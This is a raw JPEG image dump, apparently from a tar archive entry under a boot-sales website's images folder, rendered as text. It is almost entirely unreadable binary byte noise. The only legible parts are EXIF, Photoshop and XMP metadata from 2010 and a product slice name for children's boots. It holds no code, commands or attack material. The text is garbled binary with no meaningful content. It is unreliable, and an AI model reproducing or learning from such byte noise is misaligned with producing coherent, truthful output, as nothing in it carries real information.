F_>띛Gt~8#Pmʨ>0á#ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~'7ܠBY\$`9d|Nj(tD.O<?[}1Tu'ەՋ4uFT]IsoՔ k<碒XY43 p{SPWטP=iz!4AWD:7,axcyp?UznH⒚@??H?Conά i}/ H,1Q\^sONWi߅]7c)1i=YMCqE5~5SE*&rG$윰wUnyʙ|70=I$  ~sMOb=k^hr dx<I)Y!K>Y)`] VUmV:JWSb4{%9<Ǒ»qx2䫫6eV/`TY 맮?ӎ8S:hT, ORhx:<%tmx)5qP] G \vz5mDiq :Z/yPd1tuۇfzfRExX씛Gqn6Y[1%IIr'rqЕygЊףlJ7EkP P\l,ƾ{,dzOM` /p_hn@ F4ׁ RJjOWEZIZ/ϷfUϗI#_1h} hk~\uFI-蚑Q7z@vyS*-*icGZ}ƒ[ hOuf&'TQ3@%5էu/JA= yž8t`vv͒h~?@R`TCKحkG#UL ֟:~ެ7arJ)vQuATZk7a  7Jy qkQӺ A-ǍǕ}pAmm^ƞh$}Pl}wȥ6 6Ϸ״Q̎'ҴǗZ$PAc_]m]-A=Q4p8)Vj7_[ IOѡP q]ou~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ]\^ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺMyLM&V੉\2oq<{^A+*S[#0A>[`xҧ]P{|{mʧZ)B#R67n讪”zhOj HX*}*m~OvU>_zUsKTG&Q(UsksaÏ>_//t]MRjHΘtKv(OIFOE2->{/=)H3Rf+о9+kַnyӤT}!!MUcyP{RʦnH\u8rmck~?gOߺ\ =uߛ-u~m̀@ߺ)<ۏ~]u}=uکw gTKوsrnxzʸQߕ4߼䷕Fk)밻LƗqcdۻILp4 4Q;Z+[Q$!^EB;~UE *ҥH"(  9BgJf*.U}A[UoՀ;hFGRPr+dq?!0׺,=$Ԛ ӣ),qUQkoߺY}u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ]3>׺~o~ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^ZH+` ]J6?_~>l~z8Zy7|W׭P?_iYXo3kXFե!asb ǵA}<`׏UmmY< pc|N s<誤8bPA`py?#§~߳kdi"5W2?T OeƘ5tՔ#_W$ndžH7N=^ @'YtHa┥2zmN }H8qǻzuX8?SGGȹ׿?׺A{^_<7׺x>^y}㏯uuX9pӷ$4+{FI[ދ+:+AzZݝ7N){;wVzq{8KAOLƝ J@LfGm[×^ *HO$I)p A@ֶ5HVSp NòMٌ`hϧ3 ĚPX EB~C}}[dӨЕ 덷5Kf$n5;OߋQS@)rk~b40Fi_<`c4~ |lo|ɍE+PllzE"@ĺ~Gksk>3Հzup1U[{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^NOuu~c7'rߺ_cheapuggsales.uk.com/images/20/1315429648c.jpg0000777000000000000000000014471711633550305017235 0ustar rootrootJFIF`` ExifII*nv(1~2; iL``Adobe Photoshop CS Windows2010:09:26 17:12:55Picasa 3.00210( !75ef3dbcb34bb34ba02fc8eed3cf7a81F0100 (YHHJFIFHH Adobe_CMAdobed            " ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$IJI$RI$I%)$IJI$RI$I%)$IOTI%)$,q1x-yhi_Y?oR~?Nyج\ >S{~? U>*O\踏ٕCr˘/Ϲ׾rv{XHﰽ!|C6 Ը%iܬRֻPKkmAwi kO+#D9]zi%I}åc^WNfE8lk?}5P,~? h}VRunlڽEmRLc o2IgAa,F`}c_?fXRuJ #_{[VEIb_U~ѩ`OgUN@/PǸX]fXUA%[U齯c i)I$JTI%"ɢ{1nnc-pWecdc$Veo/%ыOK!Πd>Muޞl~w'%w":Bw5z+vSmn`ߝI]e>̑jΑ.Dρ~cxItGWao]qY/sjj{ڽ:Vw[ 7YM>dI۲{?^ciq}c΅Y\׻\,[p;̐5P;f4>+sɁVpPဵ ]Nc)=Dm8ipH-%~|R%TM+?:K_FOko^HTcIsK:Eʦoz0}I'TI%)yu}sf eN^?αї 5GO¼mqB[&;'ULO Ԏ| k~F %I"" c?$J=ruz t9z5?n;0Ω1Q.F GqcH?nWb仉 :vqV) H(z_eo=0/=C_`*K+\idRI$TI%)q7i贴mv^һUl ?PɎ8a2?rO šeVCa|Ѯ=O8pq(:  S5Ohn}mLp9׀Wi_c}IKט[P=OeGzn~..x 2Ge}plj)8}fi* 旵6u$u]8F%Du05%Iu8hZ&}w5X*.xl+JCmYDj6=G֮sQDt{<ֺ5$v Rܩ$ETI%)r(n@?w~UԮC-˺ K mw@:n{.mol8Z`X& ]mt亦<\n~{-۷Eo*DSF'y۠gq=tCiN) ~?B ykft*8q--,|j(;^F@mݫI3wFDB%ӡwҘ ]TFk{;nƠVǨӡLg{{Ƣ${H]qw^F\7A0OcUXH;{C@oqj ˩ӓk{]ϣM~@n@>'g@"/:vv:S%)#I$(TI%)y]>ޯV%n?jƬ$ W[e{oїJ* OUwnk߻6[.;pCxCZ:~wU%CK5̐,xIt LMq,n^"jgjƏpIe,fNSGv?AΟߝua̓#.ʮZ h?/97Dw(טHoh LrIM{+c#w7ܠCx39'A* @ʴt.gZ\[X<!o =ZlG5zcy2Pz_? puV;M^.v!hf,%N6~ԩ{ ߅} ژ8sCU[=ӤITI%)r^>u{*]Mf\f,^ZAoܬ`ĺƵջ:^C_Q2km.7k׽?8#d].=\rP\ q:Gzukãu*$)ۅb$i-1XuB XФޣ Ȗ9Q|D3ʮyv3nSxR6g$eZ_?)֏c@: )@cͰ"N?%7 g71]WZ*kSX.sV/oUuY n>~+YW?z XyjΊI$q>,mS) - ;I{5?jjMM]m cGfmkF"ȃ4I9kTI%)$IJY_X~u?]|FDwu-N񾝌I%>;}cos;/?1 2>BϦ4_A$»鷱[BG7WQv;un;9vccQʘnh-3ϰPpOMƮ+yӺ/ܗ  \rx8vc[Yk5Q3Zt}Jv}8VamqE-ݵ^(-ˈ6 ɓ۳g.$#/E};{-\Z5X^Z0I$$I)TI%)$IJI$RI$I%)$IJI$RI$I%)$IOPhotoshop 3.08BIMP Picasa 3.08BIM%'r&")uY8BIM``8BIM&?8BIM 8BIM8BIM 8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM@@8BIM8BIMschestuntkids Boots 5251 ClassicnullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM8BIM u,YJFIFHH Adobe_CMAdobed            " ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%)$IJI$RI$I%)$IJI$RI$I%)$IOTI%)$,q1x-yhi_Y?oR~?Nyج\ >S{~? U>*O\踏ٕCr˘/Ϲ׾rv{XHﰽ!|C6 Ը%iܬRֻPKkmAwi kO+#D9]zi%I}åc^WNfE8lk?}5P,~? h}VRunlڽEmRLc o2IgAa,F`}c_?fXRuJ #_{[VEIb_U~ѩ`OgUN@/PǸX]fXUA%[U齯c i)I$JTI%"ɢ{1nnc-pWecdc$Veo/%ыOK!Πd>Muޞl~w'%w":Bw5z+vSmn`ߝI]e>̑jΑ.Dρ~cxItGWao]qY/sjj{ڽ:Vw[ 7YM>dI۲{?^ciq}c΅Y\׻\,[p;̐5P;f4>+sɁVpPဵ ]Nc)=Dm8ipH-%~|R%TM+?:K_FOko^HTcIsK:Eʦoz0}I'TI%)yu}sf eN^?αї 5GO¼mqB[&;'ULO Ԏ| k~F %I"" c?$J=ruz t9z5?n;0Ω1Q.F GqcH?nWb仉 :vqV) H(z_eo=0/=C_`*K+\idRI$TI%)q7i贴mv^һUl ?PɎ8a2?rO šeVCa|Ѯ=O8pq(:  S5Ohn}mLp9׀Wi_c}IKט[P=OeGzn~..x 2Ge}plj)8}fi* 旵6u$u]8F%Du05%Iu8hZ&}w5X*.xl+JCmYDj6=G֮sQDt{<ֺ5$v Rܩ$ETI%)r(n@?w~UԮC-˺ K mw@:n{.mol8Z`X& ]mt亦<\n~{-۷Eo*DSF'y۠gq=tCiN) ~?B ykft*8q--,|j(;^F@mݫI3wFDB%ӡwҘ ]TFk{;nƠVǨӡLg{{Ƣ${H]qw^F\7A0OcUXH;{C@oqj ˩ӓk{]ϣM~@n@>'g@"/:vv:S%)#I$(TI%)y]>ޯV%n?jƬ$ W[e{oїJ* OUwnk߻6[.;pCxCZ:~wU%CK5̐,xIt LMq,n^"jgjƏpIe,fNSGv?AΟߝua̓#.ʮZ h?/97Dw(טHoh LrIM{+c#w7ܠCx39'A* @ʴt.gZ\[X<!o =ZlG5zcy2Pz_? puV;M^.v!hf,%N6~ԩ{ ߅} ژ8sCU[=ӤITI%)r^>u{*]Mf\f,^ZAoܬ`ĺƵջ:^C_Q2km.7k׽?8#d].=\rP\ q:Gzukãu*$)ۅb$i-1XuB XФޣ Ȗ9Q|D3ʮyv3nSxR6g$eZ_?)֏c@: )@cͰ"N?%7 g71]WZ*kSX.sV/oUuY n>~+YW?z XyjΊI$q>,mS) - ;I{5?jjMM]m cGfmkF"ȃ4I9kTI%)$IJY_X~u?]|FDwu-N񾝌I%>;}cos;/?1 2>BϦ4_A$»鷱[BG7WQv;un;9vccQʘnh-3ϰPpOMƮ+yӺ/ܗ  \rx8vc[Yk5Q3Zt}Jv}8VamqE-ݵ^(-ˈ6 ɓ۳g.$#/E};{-\Z5X^Z0I$$I)TI%)$IJI$RI$I%)$IJI$RI$I%)$IO8BIM!SAdobe PhotoshopAdobe Photoshop CS8BIMhttp://ns.adobe.com/xap/1.0/ 0210 4294967295 480 480 75ef3dbcb34bb34ba02fc8eed3cf7a81 1 96/1 96/1 2 2010-09-26T14:07:18+08:00 2010-09-26T17:12:55+08:00 2010-09-26T17:12:55+08:00 Adobe Photoshop CS Windows adobe:docid:photoshop:26dd9b77-c94e-11df-802b-c10930562cc2 image/jpeg Picasa 3.0 Adobed         <!1"AQ2BaRbqr#𑡒3CcSs$5!1Aa ?M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P( @P( @P( @P( @P( @P( @M@P( @P(JQIA;?\~"W*>xI=?_t @P( @P( @P( @P( M@P( A={R'rŤ`RWlM|xq/b)g_f.+2x+iW亟!խc)2a'7][Y?K¹^%Y YO./uSd0t,JwLOߌ!QּSuƒ@%+_.ohl:n8\|4ku_oYve-`ga"u"#?., /WǸ%)mI7ةR*PYdE`J]þVP=3wxr!sllQ_x[[OIcet-qM;^Je>eiJP( @P( @P( @P( @PM@P( h/кn0Lm2m8@V鎭{k&ӳua"==LkLD/oQ+]ىcXOީZOtJjYFtxdZ.{="pɛbet!^Z{ 垰g캚NfNg`Ew^~V(@P( 7(1xװ$+RwR @P( AM@P( uXp&-RpY"aƷ(Ei[ķ55Wcɽvr$h͖n-,$g-]|3;"#Mn,`8)ϻܫ<;Z*ΡWDqb7JfЭ%Z>]~o_yȜc#I"8L~a|&.[6+H5Ęt*]tdY+>fvԫ˲ĸW8FBNe-JbcbIf 7J2L"L(=[yG Xr50NH675HA,ZGxֱe4R I'"?۫9JWʷWɃH5xrx{,KȒ\IdDݎB 2uTX6.}d׸=u\;}W<(t7QvkQKwlqbƘ#g$ 5{q>-'BW?\ئEww>gP[icyxp{d/L]qT"G"2sT__W%i 2(FeOG_͐=Ӓ |?S-Eo:F*0HԜɨzz<9cT\:OzV::<1wm#F0}{O]Ծ_G &rTi&=<`ooozs@$۳?/n~[o6/vk<lBUߙ zm֩'^V%Ҿd]cn:Nm6>mlyZxB?_٩#G}iB@P( M@P( o'Y5rfU"(7TG|V;Ƹטw[Kr X ".)_3ۖvm؎k Ep*ks[O*6='m04P`{xqO,t|x%O2'oTrZoIc<=w7ݣQi`HHmGՂOr"&DO/4|wVZ=KX!i*Wgb4 $ -ef IXФ:OxUH?F,1Uɗ 9 KgVZ.[nmYldgV2[ %tV?A2cP̨8Ϥe>+CL24 r+ k:,PR2:(`y*3iXOYlzGUpw{_W^{jg"P;(玟INtsdv|-3VUDff7f]MqUS1IT8y;5UnZǦ_u/#&ic,&= -`ˊ3S^_~c9>|,n;fp.r0>.?ej vZ0q( v$7i𕠞}9r++5@`yV9]<Kld_mC\-v%jnnm9F>%~̩ [ JG|[{'P7%mv,O._wju.}iv,p"U7x􎯳/kԶl_kĹ#L-nւ@P( M@P( mpdBbKk*t<_poqnύ-~2CQ@O]ʬ  #BI%E {fbИ)#V}=,D jTojVS^n`- 嘟UYAsd J.5>-m{@IZ&i<noblŸ ,_Cm.="- 0Ĵk1#, ,` x3 P 9>5nD%@vJ֜./,Ucq!N8 In=yjnkǕNQqQHS qwS6q]6PxHU׳ ͠YH`;'.ZIxb 37)bujrfEȰgDZujߐ'ZnA}Uۥt\wwr( &?ץttfc5cqӇBQΪ}6pȵxZԻqtC6+ڹf4Z.s赫m nZxZ[Ou,ƶMN'I@"'ڴ`*|Vǥp>Fc *vvVf<\-Ð*|ZJ) aP5) 'Bԋ. sp|V.'zYf 9BP=mJ+% p cH1u2U!Ȁ'0`τg2}ڴHg2VcbiA*EiYs*'a63g1V#Nđ$gߎc)c `i7&2u< .U6"7 'Oq9VZXu 6$-R߳S1:׭@ygɽ#cJŶOYBzxǛ}%h( @M@P( :JLѾlݹ-g GrB֧uìz8oq"e9B̷hmVRXܢdG .֩"A+-JK;U`G|߮DF7sH`GWU$YΆLxh2 { =j]TJh ]+,MVbdIDG(7~YbS!\M8cZgqWl]" 9:~%Us{gB6`{Ֆ v3>5Ll0@D79j s0AwvƐAݿWί6x|_pۻ+QJLMuOž8%slv\ptʽKuΞ3F:8eaѓ}X\]cAgL0!bIm<^{ yhD?rm%tJ - ûdWrcQVr633S6=\"~0k/@P(M@P( E57I}g08=k7 ;.7K Ӕ3˓\9p3TSDS3iXyj2',B=Dje`F-`3V"$&֛XhLIփb%k+!8O'21R@tGj^m)uV[ެ Nw9ucܸdwF6H=.n>LnKw+qyto-FvQD[meFFR @0 vT i*_cu@ m1Axsuq(i|mUk:rrI.\x("Dhga? fA#̅UbEMTAr ʼ}ڴdK2K`D-E(U H^:{~UD" 2ēINf\xclR4T-2OӬRqdGǩ)nxV4fi7{j´\]/yQШ<< 15ch r9GTm&,$5 _MvzvW)`īkyXno.XX8&4[PM`-KxI4~a9K5y EL mXӗs H 5<5fa'|}%01-1AU$vwPInx}j̱tiDj4 ^ $1T#-aV3W yJO1#E|,uc$g }_\a Li&SϸL9lY)Y$u>Weno݆m=M*Gt> 'lW! K?Ja0&`<@:x*Ba\t?3bÄZIVuw8# tLkE-WIq.7%V*c:^& ңROukg7M1&nP墮G$q @vH^#oln &h%&.V|5' O[{h-ֵvzr@>3oO&%qDόJӧ//n"|FJoώlX-*$| VK7 ‚']Ms~Jdp^_jJYaIDJ`Pb[V  u'+UH%~lUYHȫv] Ʋ{x5:8c É$<9+\Gczrf߶n`+|x/-{}G+ǵÉ+YxU_2Goĺmq,Lm5T@4215S.3|5k[9. I6i[`Pk"G.-gZtLl-7ɅDMzXW}r*@P(M@P( _]$ Clj#-mýe|W' #@ycunA!U`h%xp{FqMyݭ3f $'X3陉WZ]!hF7P2 ⏦lMV4f2f 1 &D뮜&BA#-.)pUGN9S+T79qTr|M@g}6pn!О HF$%bA9cTԋQľrLȚiѪT+kU |e eXN7kr*XwLG^gu>>Vi*L5DͤZTNe4`0LQ$N\i@G-^5f sBk ҵi&<Ӱ DQ&Ca0XG4_8DOU0'FQ?ֳu/o_Hn}A伇djjbeTow9VULoȍkiY7C A"Yi\:[ȁ/8ssr3Dp<yt:o%P M4|G㷗ݷMG- (q* 75gV S\(ȦNl@B~zO7oksR@P( M@P( DLr [fFINߎg(scl.gQ >fnd'G'Y_]YZIvh#AYnuЂFU1a0X&{{?E}`B+809 Y.3kn<@͗p K3dM xc.;s LYƵA&;{R/l$y A5rUfrI!7jggeJ9dX* ,9Ә gG/1AlEɯGy}-t@P(M@P( ?>{5b,`0| s2o3tˇnp_I\y9j{ Ik1>mL LpD|FdZ"A>DC rAs]?W>XChP0;o~/T: k'3IB Q&Gt'[47 `![`D}n+3O8U<<+:V5d+$*X3 rxt86X`4 (xR.-#NˏQm`dHeH+L.F`fjY=đ}rPP|渻fn1Y~Lژ A32+ܫiiO)U-<Ixx4k/)nb HUTہ$x XULn< %m2Nk=Gȷ~ѮR @+-ebz=\B?bٕ.j~butvkJVI "Ddҍl؛!o7V_Cf$=ngxO %Ƿ1qnv3#IBhh`}^lmV@)bdqո.A#Y3 .VlÍVneh NYau0Z/2tVɷOyB NU4I0m(cYz坷/=wڰkǓ\@P( M@P( ?0_d儃_&Mcז6QfH$t^Yj Â@jfR5DCDLJos$T,Yo;f5X3!HSǺ~!Hii:{ f'MH-YPr709Lv@+To81%AcG.Pbf7\Y:Šmc}pD[GvzV9S$0H4⢫x  !w?w+U1PZGNz+% ϴIB2Fٺ;Ɯx[YV@` 536Kgp {#Y>"Յ*;uHU9N0 v6X-T 6 zC1[ie vXp_˙q6^vHSi'Z/XN~3{橭f"N2tYֲkkE &}Lw0"ίfΓTk5e[L\-Di:-gZϯyGJ1ʹ'Q`.A9yZ厾=(+՘B@P( M@P( ?6пU QFV;ֹy+60jnKbGRa.X6@,u<òJfȤ[DH vb- /DiV ݡZNęO@pRS_ʃuxP (-9@! "I>ALm*A Q$/oڭVule~-Ѷ ^#EsvPbd*eLȎ2xhat} 'I0-(#A2;xf9kaV<9D7G(T7^ڠM$@׎+: |?NT_n30(یc5ˣIN[Ƕ<ם"ԨCEQ~]((($1^&gZq(I8ich UDA PbЬkxqA 2AL}\=Yn۵Z#)OJܲup: !E V>YFFAkLϐU\De_S".% pkֻyjkmy$ăZ˦$X{Jʲ^ڬFM@ȅ Y֣ڨh c@ecO3 :.6C[M [~tMw}z\ @P( M@P( 5 |H}4b/r@ [1C D T^_߮8tsR2HQ*n#ۓͣ¢.#I${CmhLq#I5m`gf+H\ڤxwyYD Lh|E1"X4_5kNDH  ; 38=l{mQ $(V3:n fįQq:$C\ݜD\2 4 AF4Db1`Q.*A>Օs-[u4w9bQ9s*@핛&wY"?=s/ˍͶƺk/:&_Qi$']fm_/ٯ\FyW\t0\y2cAq~$}iܶW]lP*-HIIɢ0QaZYL ǀ,|MyM }Z֣*d4xh YIi?Pd5w"3 5FBC;m;(4Xd /czv?M5c:r_r,L#]}u%CZT1sQ=Jg" 2C^5Ee`~K̝Cci)|̯ 4ogk3 ˎT(Mu/Ll!R}:s6`6G=ۖVkܠ.cgZ֫ɓC0FAUq!M㊝Jh$L0Z*`JQZFH*  .}Ǘ-Z)[Dľ+[F c45AcR-i:_wp(LkkӔ_Eþ=][v&Ҁ N[wCt˙ QQhQVԶtUPG}>Zj6 ,2{C #{nn0OTt֣gʼJi[!S1w^ڌ'мr_ Wy{V( @P(?M@P( ;C;bH_\̀LFҙ%K1w0m5jnvC7ō}S6b[-*8~'-Q$lIh:rR3$ j11pԓ#COf^5c B;--n2@MCyOdXj+~V];lMyzf\9إv.guMz~Ddƽ8aIg*i5*7+^|?upf\nxhpT*f4 ޮ52-Di, jQu`$ޫ$oG#d ŵ _TDldOfZA|fdqJL{JXBD'#_53r ԒܱTFmNV("at=#EjX:xOi'AE1]1͘qS.\ɏTSjRIWr9mg+1ph 貌uXiL {A3ⶲ^.JܒeHnY]X4YzS Ƶ"1`S1e_"6'OP|-Ih 騯O:+hP( @PM@P( 7qPtj;9g83~0„|Žٗu96ۤs1 rԩ0FNqφ1淼L b{gxvߙ'uSi\[Iɐ;\yu!F씛n7NB u{POi\]k4$ x,4k&]xv qfq[]{޺KqMe,%G֍L]Lj wC i MhIiiԃ-Y *~0` dQ"Yf I~'#_yM=5 A36n7AV aYlv]ZιqٵL\l@C/.UBr' tj26uUxQ$PH3"7(9~@tpcF bOdnjwt\hԂ<<9Z @P(M@P( ٱzˌ6ycI&s6c.ƌvΛU 8Ǿ<)>$6C3.1lyz֮g}C73UgeRFqg4g?|Hm h2MA $j{۴bPy9+D,# ! eߟY[$ 觛f1 rUb2@}9cHj&sC70I\'ֵP!GH5, qq)#CÌOp:̶s+U3Z7;7dbGfaKU,ڿqBmI I$qNg_/Uw3k` ^VPZH|_wF2LZr.ÇHfV.2 G|HTnRD;b0p 4?Pbpt#]}UHUAbnrǵy?o_D]ۍo{YSd F`Síicr]1U[X@h`Z7btR5xneW+&OB1TU07*rJ9m̙7v7AUՔv<?tHQlG*fg^3z@P( M@P( :<;jב =dc-ݙ4VIg_>86鐰&[Hw|2yH'K~\}<k2 7n+0;Bx1&*%acI&'U8*[xhҢfNg+L% x?_uL1'vc5OLgmv IBs⦲fq s!%N#C䬴f1v-p%A涤i@Ϲ+OyY܇[G\c*͍|+rX @aZgƍXnv{iKr ܠH$y gG3ґƤ0&8 ";}SHwGPP( @M@P( 8SG.=ӂb@Sɛ*VB@1{9ێ&% $qc<́ i6 Og? VcKp/(P\.$3Ytc*[s(\LugP˚n$gJe:4v(.@#TEf I'J+{u>jQA4µYUc7P!}oSM [Vev !+[ Z۝O;dal#(,EXzTN\2[kG彨6'X$2멍*B.V^1:Dԍ,A2>MC :\A i$b`25-f^F$tR-[-:yf#ԢG Ԏ'I(:iF9 @]B<{]~Rcp d( `2A J8 tʶ6n{Q-`Z P;y|Usԕb%&o-k? LV n*RAGnM[_ ݉x$h鱻ciNO" }[6fq>57P & jB*1 DZZ[!]eLynrx +Q&=͙[+@c@@R(ywo |aŏ#'ʧ;SG؆&kqpΓ3d),$G1Y$&>bҧ* ALdVkQan۹̏iӍͳ42+/`)~Eihn_Hlw#n7N|%UUCCuQuU}Ve$35]ŭb`0&\M6 jLRtDՅVT/$ $u-5Ylm2$ 5V [qU-}|4L@X$U{'*] ;&cN.Aq$ohA߳A1,?Tkfͷ ¹n2I+YP\ϗ_ħ>xHܾWʮS(A],؞i확u!aAJ/M{noe7M\>pxjj˙UđC GxartrX~h[d7i8^P`]?VN_ tj½dN@P( M@P( ??/my3 ama )uרc!ɏ6;H&<3CN0^KmoN}ƮFW mÖ>+|Jrq!9˓6ȼy.c>Ýqe8UFV83AW-fFZV qyd}_zri۬ *@abCKErєqgwI>JΥa>n;>ZX|_O a 52d8ǀjRgcMch"#3Od~[8H G|VZX`Zn|("$ pI֑kg+cڨ fIϴ1SH=Ht[F, {^no\yhYku3FoEAg n\֓f͍m-ϕ@7OiFZnVT婟umEVɗ@A nuV[U"x%6<2Jx%cߋnq[m@N2=:Ζq ǵ ik􃡢KRt:fV۬h@ F1xi>Vu Cp6ZYmQܼuoU7 &tͺֱKv-.vɹ Y@|BeYNr#ݫ&bb A$qſhOKYgU_oLOyhŐ3Ob DlRN }ގءq0lbz*t!1q>?zkc+L @P(M@P( 5zc=g7:C.)@wb\dHٟx'F~N=_n;iף6e26 ɻd 2fw 徃&\6/E[.9?Psel~n2^|NW1I[@x@ fڗVŌ;\NB [\$#iST/MLe3HxFbB#?\enZn3l dX-r6!֫w$@<}jZ`8U8C7cPXOdњs>NYܮfrWf0W?٣h+2,>("Sq1;ɏV3񂇛S7k\VcXIb_)PM'@Eǎ=(]P6m7y]JcTbƋIljV>?{%(Q$I;=Ί-"_ g8Ash L{4?tV#aL9̾+[;R  NSw7WWtFut&`Y0Nv@?TD.##8`鲓:af-ux9mMb y5Mg׭TAH LqX$c]yH8@Lg6y"e7çc799-xՅG)mt%) L`e* q%vuB{<>O(#BmkBLEXr2M -ԤFیPđpD*-VD ƆGgn& E#N|UQ]AW` 9⟦YdXp-Gyw֓1@1'{vǻC̐I2oY6ZFLط82eǸǛjΩkN7*b̐C3 w7V ƭlLĩǼ$dTyA^^[n.m1p9.-j=U04kZV0wYJ7n6P OcyWeLIH&q3}fiA,(`666c5V+w\g* dkrتO|~bTBt|_Qڠ^77hjx|5Oʽ5LeStCMre8qHō@5<frIz?}y869; {.Ϩz85ϯS4j@P(M@P( _xMz\ëmpɷcj8mm7w⭪7^~:6ow;Gne6\H-1 6蠞WÝUV#W97UV&wü՗m0ι1f[#6 q;leE&.V% nZ& ?ԭB7?NPnQ\×|9sjk&>k?nؒxli 1$4*NϳJ ȋ`mޣap 5~gq b-`(Fŏ&q)u$E0bt3̶&~V+a&CC!1XޞJcoʪ3uV5&I?g_zt[2@$x@ wZP٠G( p=o-֟ Yuԣ;FlN۬{Eǐ 9]!&yoQ&̛sl.[&B.Ձ.NTzN'DLoKB4^ֹzhW'ؔLt{yk[u[eYrSsv&@4 r1L۠ᵾھa$ѭmNR-hێ*=Dsh yjfXedЌLx^gFd#FƫԿ#uF(t}fbX@G]=u~5B@P( M@P( N@?OdE}ٺ 1R\iʘU%k?uwH;.T(X,043+Ʈ [Pr(rh o}LH͵$#6ŽPU;-["k1&v,\) 8!b?OF]7j {mi5S@'PcR"bRA2 A"tb8L}ugXĞ+ 4:LJgΥ/S٪k橿ޝw]Le]vɹc"F>eE/SLJ,ö=+_!yr)' x+1ktԙ@T4Vԁ0&;E|UE*xhx&8DTZx&`{LRz 0CBFyFE$1*\bo'QtRr#)48"Tƀ1TdD4cq;'Hh3͎ۂy'ZE&  0ÍRйui"t'jDc"K"KߠiT%|K- DZbԁeqő|v+D8S&xoJ}BUI{Vjeb0㔒x4HWv䛊,Td( U"LosYTϵT.<ξQVGhX}|>\xƳ0tQ<7|> ﷎ݸƪ Y c4>Jꮙ&,X=@?'fLMi\Ė[rո ik% UFYh Cl t(ulmJp~tkT( @M@P( 4L~g|ߟsﶠ?o,.Q &<ޚ#o{ǐ7]G}pow>rs|%v%rxkt"{N FIY!NsS1uf\CNw-g0s1umA"Nլҵb AN8#k&`gӤ=֣*XeA+"dx"t cأSiBc:&4 UYi$h*rA.'v+ns=?u/o-OfLDDHnMys옆4[q,EE 1".UVUm?\ZD+Z$Nۯڭ#6iuRLN4*ZUY fZ?A:c!h6FH  Des cH:?o xDCM8ru;) Ǜt"qB2 xz\7n,=ގ[@e5TE,btUh0ŀaNHݤ~Zȇ58?[]p "0*ĐplˑmQ$$&jp]X( @PM@P( #9z3u/ϱʛhjd:k˝W\| D_gkpyĕCO`ELrMۈLuJ+\A2 ۮA[-2bOZ*b+$6ä`֑Sn\zL^MqxSTea̪ rL n!V,9y"L{XvEt۠lt%l}Qy}#孯NF3n O^ >Z]VZ$I-w5ͬg 2ipi/wwYT%LցَW! ı&gY,mNy{7Q kȁj jDfgDC'" D 5H"1i:] ik!)2R[(ZNxk5(kyxҋ-pYDLn#]>uhRj=EGX`X#Rq:{{V-yVQ!O1:Ԃ&ajs(PH1A#2'PAF5"s, O2*Ċ9_"TGTQޤMY;,G3 * wrmQ>qVr2q k폇Irm(?fc-ru\aRӏ*$ۧ"Uɉh:D1II-52x`*(8 c.V8sw?75e^"{gޠF2ZaH$LD2cRgg^'h)7.8ʥH`O0-LO-{4# +\Hn76<6-"$38*f"{> +Yeے9EI"@#{QKuS>|A_UQI V|Iʘ ν}jC*@ ԍO kY5;Ǔ6'!Ɏq7\\cF7[[s;]B& q{ymF\2[2ڹWĵq(G$( Qvxjcq+*R#\ԅcuPWBOګ}:Q'cRa)<Ǎ"9>q3QM{t_olv]7т@P( M@P( 9oW @Ѝ%6_^~uYkqgѪ]~*X(H;>eJ[135T#m[-zhp^2npyۋ=f;'q3mT@U+tds-2`<$ƅVأA<*ᦳU &A\@?TV@ӍJXh+BcvЙba=AD{F =ւ9 "4x5~ եLBI"g_wޭA &#>j%,$릃B@ʂv:!j nG#ܑuoѭ(8{}R Gy1쨨9, & 5GEmn0D;$Q)qn)Ge mW@":S n1^uj&@6 s+mbj'Ԩ, R2A*Ru()|En1٧Gkǿ`ݲ-s$XA%3_Vcgij]<꠶+@1/}˽ۄe9 GTbnVZq2Q 0L3xjԭW͹5\B8:_3 ޥfه> &;Yv5X;D Q~bؙqnH&A) N~]rn1n~n?>9 @PM@P( ?8,WE۝Ƹ%Q &!0̫gU=6z:ӠWSGI\e#BXV_ \kU>7P.#X IPA5"x}]i& {WQY K(xVdIm2& u"5nu x,#z#}:qdQ3L[̝xp'f5\{@VАu<ǔyVƈma:&gwD6Mͭ yO3d߯PL*80D[ Ӵ_zda&h /'S@GmLRnGE`@~b)mKEW`w|>M´[sq44&D,7d2y7us!V ͒; 1 6kH26!`HU^dV- G pk-6Q_)\Ih)$\#I"OX`E>6ːە =j̱h&|dBUB}Xc'Ctmg?ȓ?!w[7ov5ts( @M@P( &M|?(NNvT(ϣ_^ky޺/鏨1wg|e[w]Zǖ/ 7au96 ' 